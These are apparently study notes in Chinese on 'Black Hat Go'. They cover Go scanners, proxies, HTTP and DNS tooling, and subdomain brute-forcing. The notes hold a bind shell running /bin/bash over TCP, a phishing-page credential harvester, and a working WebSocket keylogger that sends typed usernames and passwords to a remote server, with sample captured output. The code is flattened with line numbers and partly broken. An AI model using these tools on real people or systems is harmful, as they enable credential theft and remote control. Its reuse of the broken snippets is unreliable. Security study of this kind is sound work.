中文翻译版:https://github.com/YYRise/black-hat-go
TCP、扫描器和代理
TCP扫描程序
单个端口扫描
通过net.Dial(network, address)
来连接一个地址的特定端口(network
参数支持TCP、UDP、IP以及Unix Socket)
1 2 3 4 conn, err := net.Dial("tcp" , "scanme.nmap.org:80" ) if err != nil { return }
使用goroutine实现并发扫描
信号量+循环
信号量使用sync.WaitGroup
实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var wg sync.WaitGroupfor i := 1 ; i <= 1024 ; i++ { wg.Add(1 ) go func (j int ) { defer wg.Done() address := fmt.Sprintf("scanme.nmap.org:%d" , j) conn, err := net.Dial("tcp" , address) if err != nil { return } conn.Close() fmt.Printf("%d open\n" , j) }(i) } wg.Wait()
由于goroutine过多可能导致结果的不确定性,改进为工作池模式(生产者-消费者),通过一个指定大小的channel
传输端口数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 func worker (ports chan int , wg *sync.WaitGroup) { for p := range ports { wg.Done() } } func main () { ports := make (chan int , 100 ) var wg sync.WaitGroup for i := 0 ; i < cap (ports); i++ { go worker(ports, &wg) } for i := 1 ; i <= 1024 ; i++ { wg.Add(1 ) ports <- i } wg.Wait() close (ports) }
TCP代理
Golang中使用io.Reader
和io.Writer
来进行数据的传输和读写,这两个类型是接口,需要实现对应的方法:
1 2 3 4 5 6 type Reader interface { Read(p []byte ) (n int , err error ) } type Writer interface { Write(p []byte ) (n int , err error ) }
任意类型只要实现了这两个方法即可被视为Reader或Writer。
通过byte slice可以让数据在不同的Reader和Writer中流转,为了方便这一操作,使用io.Copy(dst io.Writer, src io.Reader)
可以快速的让数据在Reader和Writer之间复制。
Echo服务器的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 func echo (conn net.Conn) { defer conn.Close() b := make ([]byte , 512 ) for { size, err := conn.Read(b) if err == io.EOF { log.Println("Client disconnected" ) break } if err != nil { log.Println("Unexpected error" ) break } log.Printf("Received %d bytes: %s\n" , size, string (b)) log.Println("Writing data" ) if _, err := conn.Write(b); err != nil { log.Fatalln("Unable to write data" ) } } } func main () { listener, err := net.Listen("tcp" , ":20080" ) if err != nil { log.Fatalln("Unable to bind to port" ) } log.Println("Listening on 0.0.0.0:20080" ) for { conn, err := listener.Accept() log.Println("Received connection" ) if err != nil { log.Fatalln("Unable to accept connection" ) } go echo(conn) } }
上述代码启动了一个TCP服务器,并且数据的处理是直接调用了连接的底层Reader和Writer实现,由于没有缓冲,实际运行只能每次读一个字节:
1 2 3 4 5 6 7 8 9 10 11 12 2021 /07 /27 20 :08 :21 Listening on 0.0.0.0:20080 2021 /07 /27 20 :08 :32 Received connection2021 /07 /27 20 :08 :36 Received 1 bytes: v2021 /07 /27 20 :08 :36 Writing data2021 /07 /27 20 :08 :36 Received 1 bytes: d2021 /07 /27 20 :08 :36 Writing data2021 /07 /27 20 :08 :36 Received 1 bytes: v2021 /07 /27 20 :08 :36 Writing data2021 /07 /27 20 :08 :36 Received 1 bytes: d2021 /07 /27 20 :08 :36 Writing data2021 /07 /27 20 :08 :36 Received 1 bytes: v2021 /07 /27 20 :08 :36 Writing data
改进:使用bufio
包创建带缓冲的IO读写类型
1 2 3 4 5 6 7 8 9 10 11 12 13 reader := bufio.NewReader(conn) s, err := reader.ReadString('\n' ) if err != nil { log.Fatalln("Unable to read data" ) } log.Printf("Read %d bytes: %s" , len (s), s) log.Println("Writing data" ) writer := bufio.NewWriter(conn) if _, err := writer.WriteString(s); err != nil { log.Fatalln("Unable to write data" ) } writer.Flush()
再改进:直接使用io.Copy()
1 2 3 4 5 6 func echo (conn net.Conn) { defer conn.Close() if _, err := io.Copy(conn, conn); err != nil { log.Fatalln("Unable to read/write data" ) } }
TCP端口转发器
实现和Echo基本一致,通过net.Dial()
创建去往目标地址的连接dst
,然后使用io.Copy()
把来自客户端的数据src
转发到dst
,并把来自服务器的数据转发回src
。避免阻塞,双向数据传输过程分别使用goroutine启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 func handle (src net.Conn) { dst, err := net.Dial("tcp" , address) if err != nil { log.Fatalln("Unable to connect to our unreachable host" ) } defer dst.Close() go func () { if _, err := io.Copy(dst, src); err != nil { log.Fatalln(err) } }() if _, err := io.Copy(src, dst); err != nil { log.Fatalln(err) } } func main () { go handle(conn) }
正向Shell、反向Shell的实现
通过os/exec
中的exec.Command()
可以创建一个Cmd
实例,然后将该Cmd
实例的Stdin
和Stdout
赋值为对应的TCP连接即可
1 2 3 4 5 6 7 8 9 10 11 12 13 func handle (conn net.Conn) { defer conn.Close() cmd := exec.Command("/bin/bash" , "-i" ) cmd.Stdin = conn cmd.Stdout = conn err := cmd.Run() if err != nil { return } }
由于Windows对匿名管道的特殊处理,上述代码收不到命令的输出,有两个办法解决:
HTTP客户端和使用工具远程交互
Go使用net/http
包来进行HTTP的操作。可以直接调用方法来进行GET
、POST
、HEAD
请求
1 2 3 4 http.Get(url string ) (resp *Response, err error ) http.Head(url string ) (resp *Response, err error ) http.Post(url string , bodyType string , body io.Reader) (resp *Response, err error ) http.PostForm(url string data url.Values) (resp *Response, err error )
其他类型的请求统一使用http.NewRequest()
1 2 3 request, _ := http.NewRequest("GET" , "https://baidu.com/robots.txt" , nil ) var client http.Clientdo, _ := client.Do(request)
为HTTP请求添加代理,需要设置http.Client
的Transport
:
1 2 3 4 5 client.Transport = &http.Transport{ Proxy: func (_ * http.Request) (*url.URL, error ) { return url.Parse("http://127.0.0.1:9999" ) }, }
对于一些返回JSON的HTTP响应,可以使用encoding/json
包来处理数据,需要提前构建对应的结构体,转换网站:Go JSON解析
其实就是简单的HTTP请求和结果解析,唯一不一样的是Metasploit采用了二进制的MessageBlock作为传输的数据结构,需要对数据进行编码和解码。
有关Metasploit的所有RPC操作在官网都有:Standard API Methods Reference | Metasploit Documentation
对MessageBlock操作需要用到包msgpack:https://pkg.go.dev/github.com/vmihailenco/msgpack
网络爬虫
对于网页的解析,Go同样有很方便的包可用:PuerkitoBio/goquery
对于搜索节点的方法,搜索模式的表达是从根节点开始一层一层向下,不同层级的节点标识用空格隔开,如下所示:
1 2 pattern := "html body div#b_content main ol#b_results li.b_algo h2 a"
当然还有其他的操作方法了,基本上BeautifulSoup有的goquery也都有,还是很强大的
下面的程序抓取Bing搜索引擎结果的链接并打印:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package mainimport ( "fmt" "github.com/PuerkitoBio/goquery" "net/http" "net/url" ) func main () { link := "https://cn.bing.com/search?q=%s" query := "golang" var client http.Client req, _ := http.NewRequest("GET" , fmt.Sprintf(link, url.QueryEscape(query)), nil ) req.Header.Add("User-Agent" , "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" ) req.Header.Add("Accept" , "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" ) req.Header.Add("Upgrade-Insecure-Requests" , "1" ) req.Header.Add("User-Agent" , "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0" ) req.Header.Add("Accept-Encoding" , "gzip, deflate, br" ) req.Header.Add("Accept-Language" , "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ) req.Header.Add("Connection" , "keep-alive" ) resp, _ := client.Do(req) doc, _ := goquery.NewDocumentFromReader(resp.Body) pattern := "html body div#b_content main ol#b_results li.b_algo h2 a" doc.Find(pattern).Each(func (i int , selection *goquery.Selection) { link, exists := selection.Attr("href" ) if exists { fmt.Println(link) } }) }
输出:
1 2 3 4 5 https: https: http: https: ...
HTTP服务器、路由和中间件
Go同样通过net/http
包来实现HTTP的服务器操作。下面是一个最简单的单路由HTTP服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 package mainimport ( "fmt" "net/http" ) func main () { http.HandleFunc("/hello" , func (writer http.ResponseWriter, request *http.Request) { fmt.Fprintf(w, "Hello %s\n" , r.URL.Query().Get("name" )) }) http.ListenAndServe(":8000" , nil ) }
http.HandleFunc()
方法用于为指定的路由添加处理函数,第一个参数为路径,第二个参数为一个固定参数的函数。这个方法没有指定http.Handler
实例进行处理,所以采用的是Go默认创建的底层多路复用器DefaultServerMux
进行处理。处理函数的原型如下:
1 func (writer http.ResponseWriter, request *http.Request) {}
http.ListenAndServe()
指定服务器监听的地址和端口数据,并且指定处理HTTP请求的http.Handler
实例,如指定为nil
则交由DefaultServerMux
进行处理。
若需自定义路由,只需在自定义结构体里面实现http.Handler
的ServeHTTP
方法即可,然后传给http.ListenAndServe()
的第二个参数。
1 2 type router struct {}func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {}
也可以使用成熟的第三方包github.com/gorilla/mux
来构建路由,其对路由的匹配模式更加灵活
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 r := mux.NewRouter() r.HandleFunc("/foo" , func (w http.ResponseWriter, req *http.Request) { fmt.Fprint(w, "hi foo" ) }).Methods("GET" ).Host("www.foo.com" ) r.HandleFunc("/users/{user}" , func (w http.ResponseWriter, req *http.Request) { user := mux.Vars(req)["user" ] fmt.Fprintf(w, "hi %s\n" , user) }).Methods("GET" ) r.HandleFunc("/users/{user:[a-z]+}" , func (w http.ResponseWriter, req *http.Request) { user := mux.Vars(req)["user" ] fmt.Fprintf(w, "hi %s\n" , user) }).Methods("GET" ) r.PathPrefix("/" ).Handler(http.FileServer(http.Dir("public" )))
构建自定义中间件
中间件即为在匹配到真正处理HTTP请求函数前执行的一些函数,如身份验证、log记录等功能
如果不采用第三方包可以通过多重Handler来实现,即在一个Handler中调用另一个Handler,这样链式的调用最终到达真正的处理函数。
同样可以采用成熟的第三方包github.com/urfave/negroni
来构建中间件。通常可以将negroni和mux一起使用,即通过negroni创建一个中间件,中间件处理后的请求交由mux进行路由、处理等操作。negroni.NewClassic()
方法可以创建一个带有一些默认方法的中间件。
1 2 3 4 5 6 7 func main () { r := mux.NewRouter() n := negroni.NewClassic() n.UseHandler(r) log.Fatal(http.ListenAndServe(":8000" , n)) }
同样可以创建自己的中间件,需要实现negroni.Handler
接口,即实现ServeHTTP()
方法。由于其调用参数与http.Handler
不一致,所以通用性上没有直接使用UseHandler()
方法好。
1 2 3 4 5 6 7 type MyMiddleWare struct {}func (m *MyMiddleWare) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) { next(w, r) } n.Use(&MyMiddleWare{})
HTML模板
使用html/template
可以创建HTML模板。对应的还有普通的文本模板text/template
在模板中使用{ {.} }
进行全上下文的变量替换.
后面添加变量名进行局部替换(需传入结构体)
1 2 3 t, _ := template.New("test" ).Parse() t, _ := template.ParseFiles() t.Execute(io.Writer, interface {})
钓鱼网站构建
使用浏览器下载完整网站源码
将登录页面的Form Action修改为本地路径
对路径启用专门的记录函数,用于收集凭证
根目录以文件服务器形式启用,用于加载Web静态数据
1 2 3 4 r := mux.NewRouter() r.HandleFunc("/login" , login).Methods("POST" ) r.PathPrefix("/" ).Handler(http.FileServer(http.Dir("web" ))) log.Fatal(http.ListenAndServe(":8080" , r))
WebSocket Keylogger
通过WebSocket协议来记录键盘
JavaScript:
1 2 3 4 5 6 7 8 9 10 11 12 var conn = new WebSocket ("ws://{{.}}/ws" );var username = document .querySelector ("#u" );var password = document .querySelector ("#p" );username.onkeypress = function (evt ) { s = String .fromCharCode (evt.which ); conn.send ("Username: " +s); }; password.onkeypress = function (evt ) { s = String .fromCharCode (evt.which ); conn.send ("Password: " +s); };
Go:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package mainimport ( "github.com/gorilla/mux" "github.com/gorilla/websocket" "html/template" "log" "net/http" ) var ( upgrader websocket.Upgrader jsTemplate *template.Template wsAddr string ) func wsHandler (writer http.ResponseWriter, request *http.Request) { conn, err := upgrader.Upgrade(writer, request, nil ) if err != nil { http.Error(writer, err.Error(), 500 ) return } defer conn.Close() log.Printf("Connection from %s" , conn.RemoteAddr().String()) for { _, msg, err := conn.ReadMessage() if err != nil { break } log.Printf("From %s: %s" , conn.RemoteAddr().String(), string (msg)) } log.Printf("Connection Closed: %s" , conn.RemoteAddr().String()) } func main () { r := mux.NewRouter() r.HandleFunc("/" , func (writer http.ResponseWriter, request *http.Request) { _ = jsTemplate.Execute(writer, wsAddr) }) r.HandleFunc("/ws" , wsHandler) log.Fatal(http.ListenAndServe(":23333" , r)) }
WebSocket实现使用了第三方包gorilla/websocket
,使用websocket.Upgrader方法创建Upgrader实例,通过调用upgrader.Upgrade将HTTP请求升级为WebSocket,然后进行后续操作。下面是输出:
1 2 3 4 5 6 7 8 9 10 11 2021 /08 /01 17 :36 :52 From 127.0.0.1:10990 : Username: a2021 /08 /01 17 :36 :52 From 127.0.0.1:10990 : Username: d2021 /08 /01 17 :36 :52 From 127.0.0.1:10990 : Username: m2021 /08 /01 17 :36 :52 From 127.0.0.1:10990 : Username: i2021 /08 /01 17 :36 :52 From 127.0.0.1:10990 : Username: n2021 /08 /01 17 :36 :54 From 127.0.0.1:10990 : Password: 1 2021 /08 /01 17 :36 :55 From 127.0.0.1:10990 : Password: 2 2021 /08 /01 17 :36 :55 From 127.0.0.1:10990 : Password: 3 2021 /08 /01 17 :36 :55 From 127.0.0.1:10990 : Password: 4 2021 /08 /01 17 :36 :55 From 127.0.0.1:10990 : Password: 5 2021 /08 /01 17 :36 :55 From 127.0.0.1:10990 : Password: 6
多路复用C2
基于反向代理来实现C2服务器的多路复用,原理就是通过设定Host头来标识要去往的C2服务器地址,然后Go程序内维护一个Host:C2的键值对数组用于存储这些信息,再实现反向代理即可。
Go很方便的一点在于官方的net/http/httputil
包里面已经实现了有关反向代理的函数httputil.NewSingleHostReverseProxy()
,无需自己实现只需直接调用即可。
DNS利用
Go里面的net
包提供了大多数DNS操作的功能,如查看A、CNAME、NS、MX以及反向查询,但缺点在于可自定义性不强,无法指定DNS服务器而是直接使用系统的配置,返回结果也不够详细。下面是一些DNS查询方法:
1 2 3 net.LookupAddr("ip" ) net.LookupIP("example.com" ) net.LookupCNAME("example.com" )
为了规避这些缺点,使用高度模块化的第三方包github.com/miekg/dns
来进行DNS的查询以及DNS服务的搭建。
进行DNS查询并处理响应
包使用结构体dns.Msg
来承载DNS请求/响应数据,其具体结构如下:
1 2 3 4 5 6 7 8 type Msg struct { MsgHdr Compress bool `json:"-"` Question []Question Answer []RR Ns []RR Extra []RR }
通过dns.Fqdn()
将输入的域名转换为FQDN格式的字符串
使用dns.SetQuestion(fqdn, type)
设置dns.Msg
里的Question字段,第二个参数指定查询类型
使用dns.Exchange(*msg, serverAddr)
进行DNS查询,返回值也是*dns.Msg
读取返回值的Answer字段,获取响应数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package mainimport ( "fmt" "github.com/miekg/dns" ) func main () { var msg dns.Msg fqdn := dns.Fqdn("baidu.com" ) msg.SetQuestion(fqdn, dns.TypeA) res, err := dns.Exchange(&msg, "114.114.114.114:53" ) if err != nil { return } if len (res.Answer) > 1 { for _, r := range res.Answer { if a, ok := r.(*dns.A); ok { fmt.Println(a.A.String()) } } } }
上面的程序查询baidu.com的A记录,在输出结果的时候使用了Go的类型断言,意思是仅在记录类型为*dns.A
时才输出结果,类型断言介绍:go类型断言
子域名爆破程序
进行子域名爆破,即基于一个子域的字典对指定域名进行DNS记录查询,并且返回所有有效的数据。这个过程中主要查询的是域名的A记录和CNAME记录,对于一个域名而言,如果它有CNAME记录,说明这个域名是另一个域名的别名,所以应当继续对查询结果再次进行CNAME查询,直到无法查询到CNAME记录为止;如果它没有CNAME记录将查询其A记录,如果存在A记录则返回IP地址,不存在则忽略。
基于上面的思路进行关键代码的构建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 type Result struct { Hostname string IPAddress string } func lookupRecords (fqdn, serverAddr string , recordType uint16 ) ([]string , error ) { var msg dns.Msg var result []string msg.SetQuestion(dns.Fqdn(fqdn), recordType) exchange, err := dns.Exchange(&msg, serverAddr) if err != nil { return result, err } for _, ans := range exchange.Answer { if recordType == dns.TypeA { if a, ok := ans.(*dns.A); ok { result = append (result, a.A.String()) } } if recordType == dns.TypeCNAME { if cname, ok := ans.(*dns.CNAME); ok { result = append (result, cname.Target) } } } return result, nil } func lookup (fqdn, serverAddr string ) ([]Result, error ) { var results []Result var tmpFqdn = fqdn for { cnames, err := lookupRecords(tmpFqdn, serverAddr, dns.TypeCNAME) if err != nil { return results, err } if len (cnames) > 0 { tmpFqdn = cnames[0 ] continue } as, err := lookupRecords(tmpFqdn, serverAddr, dns.TypeA) if err != nil { break } for _, a := range as { results = append (results, Result{Hostname: fqdn, IPAddress: a}) } break } return results, nil }
对于查询CNAME的时候为什么只取结果的第一个我一开始是很迷惑的,后面查了一下,CNAME只可能是一对一的关系,一般不存在一对多的关系,具体描述:Can we have multiple CNAMES for a single Name?
接下来进行并发以及工作池的实现。原理和之前的TCP扫描器差不多,使用两个Channel,一个用于传递域名数据,另一个用于传递结果,使用一个空结构体的Channel来传递线程工作完成的信息。其实传递线程工作完成也可以使用信号量来实现,原理上都是一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 type Empty struct {}func DomainWorker (domains chan string , gather chan []Result, tracker chan Empty, serverAddr string ) { for domain := range domains { log.Printf("FQDN %s started" , domain) result, err := lookup(domain, serverAddr) if err != nil { log.Println(fmt.Sprintf("Error for %s: %s" , domain, err)) } if len (result) > 0 { gather <- result } } var e Empty tracker <- e }
主函数中的处理逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 scanner := bufio.NewScanner(domainFile) for i := 0 ; i < *cliWorkerPool; i++ { go DomainWorker(domains, gather, tracker, *cliServeraddr) } for scanner.Scan() { domains <- fmt.Sprintf("%s.%s" , scanner.Text(), *cliDomainName) } go func () { for res := range gather { results = append (results, res...) } var e Empty tracker <- e }() close (domains)for i := 0 ; i < *cliWorkerPool; i++ { <-tracker } close (gather)<-tracker ......
在写多线程的时候发现一个需要注意的点:在等待工作线程结束的时候一定要先关闭对应的Channel,否则所有Worker线程都阻塞在那个死循环里面无法结束,两者的顺序一定不能错。
最后加一个命令行参数的解析,采用的是flag
包:
1 2 3 4 5 6 7 var ( cliDomainName = flag.String("domain" , "" , "Domain Name" ) cliServeraddr = flag.String("server" , "114.114.114.114:53" , "DNS Server" ) cliWorkerPool = flag.Int("worker" , 5 , "Worker Pool Count" ) cliDomainList = flag.String("wordlist" , `subnames.txt` , "Word List" ) ) flag.Parse()
简单的DNS服务搭建
使用dns.HandleFunc(pattern, func)
可以实现自定义的DNS处理逻辑,然后使用dns.ListenAndServe(":53", "udp", nil)
开始监听53端口。当然这是最简单的实现方法,同样可以自己写Handler来实现。
下面是一个简单的Local DNS Server(没有做错误处理,报错会退出)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 dns.HandleFunc("." , func (writer dns.ResponseWriter, msg *dns.Msg) { resp := dns.Msg{} tmp := dns.Msg{} resp.SetReply(msg) switch msg.Question[0 ].Qtype { case dns.TypeA: resp.Authoritative = true domain := msg.Question[0 ].Name tmp.SetQuestion(domain, dns.TypeA) res, _ := dns.Exchange(&tmp, "192.168.1.1:53" ) for _, a := range res.Answer { if aa, ok := a.(*dns.A); ok { resp.Answer = append ( resp.Answer, &dns.A{ Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10 }, A: aa.A, }, ) } } writer.WriteMsg(&resp) } }) log.Fatal(dns.ListenAndServe(":53" , "udp" , nil ))